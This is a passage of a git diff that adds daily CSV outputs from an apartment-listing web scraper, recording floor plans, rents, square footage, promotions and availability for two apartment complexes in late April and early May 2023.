8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,A12,1 bd/1 ba,"Starting from $2,309/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,A16D,1 bd/1 ba,"Starting from $2,540/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,B03,2 bd/2 ba,"Starting from $3,020/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,B07,2 bd/2 ba,"Starting from $3,105/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230428,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230429.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230429.csv new file mode 100644 index 00000000000..6efd5374926 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230429.csv @@ -0,0 +1,43 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230429,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230429,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230429,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230429,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230429,talisman,A1 (1x1),1 Bed 1 Bath,"$1,898",$300,604 - 671 sq.ft.,None,N/A +20230429,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230429,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230429,talisman,B5 (1x1),1 Bed 1 Bath,"$2,540",$300,674 - 775 sq.ft.,None,N/A +20230429,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230429,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230429,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230429,talisman,AL2,1 Bed 1 Bath,"$2,853",$300,785 - 852 sq.ft.,None,N/A +20230429,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230429,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230429,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,963",$300,906 - 930 sq.ft.,None,N/A +20230429,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230429,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230429,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230429,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230429,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230429,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230429,talisman,C3 (2x2),2 Bed 2 Bath,"$3,372",$300,1010 - 1103 sq.ft.,None,N/A +20230429,talisman,C1 (2x2),2 Bed 2 Bath,"$3,667",$300,1029 - 1294 sq.ft.,None,N/A +20230429,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230429,talisman,C2 (2x2),2 Bed 2 Bath,"$3,552",$300,1088 - 1243 sq.ft.,None,N/A +20230429,talisman,C8 (2x2),2 Bed 2 Bath,"$3,517",$300,1155 sq.ft.,None,N/A +20230429,talisman,C11 (2x2),2 Bed 2 Bath,"$3,682",$300,1161 sq.ft.,None,N/A +20230429,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230429,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230429,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230429,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230429,modera,S01,Studio / 1 ba,"Starting from $1,957/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,S02,Studio / 1 ba,"Starting from $2,153/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,A09,1 bd/1 ba,"Starting from $2,024/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,A10,1 bd/1 ba,"Starting from $2,324/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,A12,1 bd/1 ba,"Starting from $2,309/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,A15D,1 bd/1 ba,"Starting from $2,595/month",$300,790+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,A16D,1 bd/1 ba,"Starting from $2,540/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,B03,2 bd/2 ba,"Starting from $3,056/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,B07,2 bd/2 ba,"Starting from $3,120/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230429,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230430.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230430.csv new file mode 100644 index 00000000000..d9ff7d89f07 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230430.csv @@ -0,0 +1,43 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230430,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230430,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230430,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230430,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230430,talisman,A1 (1x1),1 Bed 1 Bath,"$1,868",$300,604 - 671 sq.ft.,None,N/A +20230430,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230430,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230430,talisman,B5 (1x1),1 Bed 1 Bath,"$2,540",$300,674 - 775 sq.ft.,None,N/A +20230430,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230430,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230430,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230430,talisman,AL2,1 Bed 1 Bath,"$2,853",$300,785 - 852 sq.ft.,None,N/A +20230430,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230430,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230430,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,963",$300,906 - 930 sq.ft.,None,N/A +20230430,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230430,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230430,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230430,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230430,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230430,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230430,talisman,C3 (2x2),2 Bed 2 Bath,"$3,267",$300,1010 - 1103 sq.ft.,None,N/A +20230430,talisman,C1 (2x2),2 Bed 2 Bath,"$3,562",$300,1029 - 1294 sq.ft.,None,N/A +20230430,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230430,talisman,C2 (2x2),2 Bed 2 Bath,"$3,447",$300,1088 - 1243 sq.ft.,None,N/A +20230430,talisman,C8 (2x2),2 Bed 2 Bath,"$3,412",$300,1155 sq.ft.,None,N/A +20230430,talisman,C11 (2x2),2 Bed 2 Bath,"$3,577",$300,1161 sq.ft.,None,N/A +20230430,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230430,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230430,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230430,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230430,modera,S01,Studio / 1 ba,"Starting from $1,997/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,S02,Studio / 1 ba,"Starting from $2,153/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,A09,1 bd/1 ba,"Starting from $2,024/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,A10,1 bd/1 ba,"Starting from $2,324/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,A12,1 bd/1 ba,"Starting from $2,389/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,A15D,1 bd/1 ba,"Starting from $2,595/month",$300,790+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,A16D,1 bd/1 ba,"Starting from $2,540/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,B03,2 bd/2 ba,"Starting from $3,056/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,B07,2 bd/2 ba,"Starting from $3,120/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230430,modera,S01L,Studio / 1 ba,"$2,700/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230501.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230501.csv new file mode 100644 index 00000000000..754179b1368 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230501.csv @@ -0,0 +1,43 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230501,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230501,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230501,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230501,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230501,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230501,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230501,talisman,A1 (1x1),1 Bed 1 Bath,"$1,868",$300,604 - 671 sq.ft.,None,N/A +20230501,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230501,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230501,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230501,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230501,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230501,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,934",$300,785 - 852 sq.ft.,None,N/A +20230501,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,934",$300,785 - 852 sq.ft.,None,N/A +20230501,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230501,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,044",$300,906 - 930 sq.ft.,None,N/A +20230501,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230501,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230501,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230501,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230501,talisman,C3 (2x2),2 Bed 2 Bath,"$3,267",$300,935 sq.ft.,None,N/A +20230501,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230501,talisman,C3 (2x2),2 Bed 2 Bath,"$3,267",$300,1010 - 1103 sq.ft.,None,N/A +20230501,talisman,C1 (2x2),2 Bed 2 Bath,"$3,562",$300,1029 - 1294 sq.ft.,None,N/A +20230501,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230501,talisman,C8 (2x2),2 Bed 2 Bath,"$3,412",$300,1088 - 1243 sq.ft.,None,N/A +20230501,talisman,C8 (2x2),2 Bed 2 Bath,"$3,412",$300,1155 sq.ft.,None,N/A +20230501,talisman,C11 (2x2),2 Bed 2 Bath,"$3,577",$300,1161 sq.ft.,None,N/A +20230501,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230501,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230501,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230501,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230501,modera,S01,Studio / 1 ba,"Starting from $2,057/month",$300,477+,/,"Available May 04, 2023" +20230501,modera,S01L,Studio / 1 ba,"$2,760/month",$300,641+,/,"Available May 02, 2023" +20230501,modera,S02,Studio / 1 ba,"Starting from $2,213/month",$300,498+,/,"Available May 09, 2023" +20230501,modera,A09,1 bd/1 ba,"Starting from $2,122/month",$300,640,/,Only One Left! +20230501,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,2 Available +20230501,modera,A15D,1 bd/1 ba,"Starting from $2,609/month",$300,790+,/,"Available Jun 09, 2023" +20230501,modera,A16D,1 bd/1 ba,"Starting from $2,554/month",$300,882,/,Only One Left! +20230501,modera,B03,2 bd/2 ba,"Starting from $3,153/month",$300,"1,039+",/,"Available May 14, 2023" +20230501,modera,B07,2 bd/2 ba,"Starting from $3,216/month",$300,"1,233",/,"Available May 09, 2023" +20230501,modera,S01L,Studio / 1 ba,"$2,760/month",$300,641+,/,"Available May 02, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230502.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230502.csv new file mode 100644 index 00000000000..25019e2cbde --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230502.csv @@ -0,0 +1,42 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230502,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230502,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230502,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230502,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230502,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230502,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230502,talisman,A1 (1x1),1 Bed 1 Bath,"$1,725",$300,604 - 671 sq.ft.,None,N/A +20230502,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230502,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230502,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230502,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230502,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230502,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,781",$300,785 - 852 sq.ft.,None,N/A +20230502,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,781",$300,785 - 852 sq.ft.,None,N/A +20230502,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230502,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,891",$300,906 - 930 sq.ft.,None,N/A +20230502,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230502,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230502,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230502,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230502,talisman,C3 (2x2),2 Bed 2 Bath,"$2,837",$300,935 sq.ft.,None,N/A +20230502,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230502,talisman,C3 (2x2),2 Bed 2 Bath,"$2,837",$300,1010 - 1103 sq.ft.,None,N/A +20230502,talisman,C1 (2x2),2 Bed 2 Bath,"$3,132",$300,1029 - 1294 sq.ft.,None,N/A +20230502,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230502,talisman,C8 (2x2),2 Bed 2 Bath,"$2,982",$300,1088 - 1243 sq.ft.,None,N/A +20230502,talisman,C8 (2x2),2 Bed 2 Bath,"$2,982",$300,1155 sq.ft.,None,N/A +20230502,talisman,C11 (2x2),2 Bed 2 Bath,"$3,147",$300,1161 sq.ft.,None,N/A +20230502,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230502,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230502,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230502,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230502,modera,S01,Studio / 1 ba,"Starting from $2,057/month",$300,477+,/,"Available May 04, 2023" +20230502,modera,S01L,Studio / 1 ba,"$2,760/month",$300,641+,/,"Available May 09, 2023" +20230502,modera,S02,Studio / 1 ba,"Starting from $2,213/month",$300,498+,/,"Available May 09, 2023" +20230502,modera,A09,1 bd/1 ba,"Starting from $2,219/month",$300,640,/,Only One Left! +20230502,modera,A10,1 bd/1 ba,"Starting from $2,519/month",$300,672+,/,"Available May 03, 2023" +20230502,modera,A16D,1 bd/1 ba,"Starting from $2,568/month",$300,882,/,Only One Left! +20230502,modera,B03,2 bd/2 ba,"Starting from $3,252/month",$300,"1,039+",/,"Available May 14, 2023" +20230502,modera,B07,2 bd/2 ba,"Starting from $3,315/month",$300,"1,233",/,"Available May 09, 2023" +20230502,modera,S01L,Studio / 1 ba,"$2,760/month",$300,641+,/,"Available May 09, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230503.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230503.csv new file mode 100644 index 00000000000..2cc4d6e7b7b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230503.csv @@ -0,0 +1,42 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230503,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230503,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230503,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230503,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230503,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230503,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230503,talisman,A1 (1x1),1 Bed 1 Bath,"$1,725",$300,604 - 671 sq.ft.,None,N/A +20230503,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230503,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230503,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230503,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230503,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230503,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,781",$300,785 - 852 sq.ft.,None,N/A +20230503,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,781",$300,785 - 852 sq.ft.,None,N/A +20230503,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230503,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,891",$300,906 - 930 sq.ft.,None,N/A +20230503,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230503,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230503,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230503,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230503,talisman,C3 (2x2),2 Bed 2 Bath,"$2,837",$300,935 sq.ft.,None,N/A +20230503,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230503,talisman,C3 (2x2),2 Bed 2 Bath,"$2,837",$300,1010 - 1103 sq.ft.,None,N/A +20230503,talisman,C1 (2x2),2 Bed 2 Bath,"$3,132",$300,1029 - 1294 sq.ft.,None,N/A +20230503,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230503,talisman,C8 (2x2),2 Bed 2 Bath,"$2,982",$300,1088 - 1243 sq.ft.,None,N/A +20230503,talisman,C8 (2x2),2 Bed 2 Bath,"$2,982",$300,1155 sq.ft.,None,N/A +20230503,talisman,C11 (2x2),2 Bed 2 Bath,"$3,147",$300,1161 sq.ft.,None,N/A +20230503,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230503,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230503,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230503,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230503,modera,S01,Studio / 1 ba,"Starting from $2,037/month",$300,477+,/,"Available May 04, 2023" +20230503,modera,S01L,Studio / 1 ba,"Starting from $2,740/month",$300,641+,/,"Available May 09, 2023" +20230503,modera,S02,Studio / 1 ba,"Starting from $2,193/month",$300,498+,/,"Available May 09, 2023" +20230503,modera,A09,1 bd/1 ba,"Starting from $2,325/month",$300,640,/,Only One Left! +20230503,modera,A10,1 bd/1 ba,"Starting from $2,625/month",$300,672+,/,"Available May 11, 2023" +20230503,modera,A16D,1 bd/1 ba,"Starting from $2,581/month",$300,882,/,Only One Left! +20230503,modera,B03,2 bd/2 ba,"Starting from $3,363/month",$300,"1,039+",/,"Available May 14, 2023" +20230503,modera,B07,2 bd/2 ba,"Starting from $3,424/month",$300,"1,233",/,"Available May 09, 2023" +20230503,modera,S01L,Studio / 1 ba,"Starting from $2,740/month",$300,641+,/,"Available May 09, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230504.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230504.csv new file mode 100644 index 00000000000..008ffb335a5 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230504.csv @@ -0,0 +1,54 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230504,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230504,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230504,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230504,talisman,A1 (1x1),1 Bed 1 Bath,"$1,911",$300,604 - 671 sq.ft.,None,N/A +20230504,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230504,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230504,talisman,A2 (1x1),1 Bed 1 Bath,"$1,911",$300,617 - 715 sq.ft.,None,N/A +20230504,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230504,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 